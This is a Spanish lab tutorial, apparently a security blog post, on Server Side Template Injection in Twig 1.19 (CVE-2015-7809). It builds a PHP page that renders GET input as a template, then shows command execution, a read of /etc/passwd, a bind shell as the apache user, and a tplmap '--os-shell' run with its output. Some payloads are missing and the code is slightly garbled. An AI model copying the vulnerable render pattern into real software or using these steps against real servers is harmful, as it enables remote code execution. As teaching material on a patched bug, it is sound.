Los ataques Server Side Template Injection aprovechan un parseo incorrecto de las variables introducidas por el usuario para ejecutar código en la parte del servidor mediante directivas de templating.
Como PoC ejecutaremos código php vulnerable sobre una versión obsoleta de twig, mas concretamente Twig1.9
Para realizar nuestras pruebas instalaremos una versión antigua de twig ya que en versiones modernas twig tienen el bug fixeado, hay que tener en cuenta que se debe utilizar twig directamente si lo hacemos a través de symfony no podremos explotar el bug a pesar de tener una versión de twig vulnerable:
composer require "twig/twig:1.19"
Programamos una pequeña web que nos devuelva el valor de la variable $name obtenida por GET:
<?php
require_once '/var/www/testSSTI/vendor/autoload.php';
Twig_Autoloader::register();
$loader = new Twig_Loader_String();
$twig = new Twig_Environment($loader);
$name=$_GETname;
$result= $twig->render($name);
echo "Hello $result";
La configuración del vhost será muy sencilla:
<VirtualHost *:80>
ServerAdmin sys@alfaexploit.com
DocumentRoot /var/www/testSSTI/
ServerName www.testssti.com
ErrorLog /var/log/apache2/testssti.error_log
CustomLog /var/log/apache2/testssti.access_log combined
DirectoryIndex index.php index.htm index.html
AddHandler application/x-httpd-php .php .php5 .phtml
AddHandler application/x-httpd-php-source .phps
<FilesMatch ".php$">
SetHandler "proxy:unix:///var/run/php7.2-fpm.sock|fcgi://localhost/"
</FilesMatch>
<Directory "/var/www/testSSTI/">
Options -Indexes +FollowSymLinks
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
Hacemos una prueba para comprobar que el código funciona correctamente:
Hello kr0m
Ahora probamos con una directiva de templating como puede ser {8*2}:
Hello 16
Funcionó, probemos con algo mas complejo como definir un filtro callback en twig:
Hello cowrie:x:1004:1004::/home/cowrie:/bin/bash
Excelente, ahora dejemos un socket a la escucha que nos ofrezca una shell:
Conectamos al socket:
uid=81(apache) gid=81(apache) groups=81(apache)
composer.json
composer.lock
index.php
vendor
Conseguido shell remota con el usuario apache ;)
Existe una herramienta llamada tplmap que nos facilitará la labor:
./tplmap.py --os-shell -u "http://www.testssti.com/?name=kr0m"
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: name
Engine: Twig
Injection: {{*}}
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
[+] Run commands on the operating system.
uid=81(apache) gid=81(apache) groups=81(apache)
vendor
Aquí dejo los enlaces de cuando se fixeó el bug y del CVE en cuestión:
https://symfony.com/blog/security-release-twig-1-20-0
https://www.cvedetails.com/cve/CVE-2015-7809/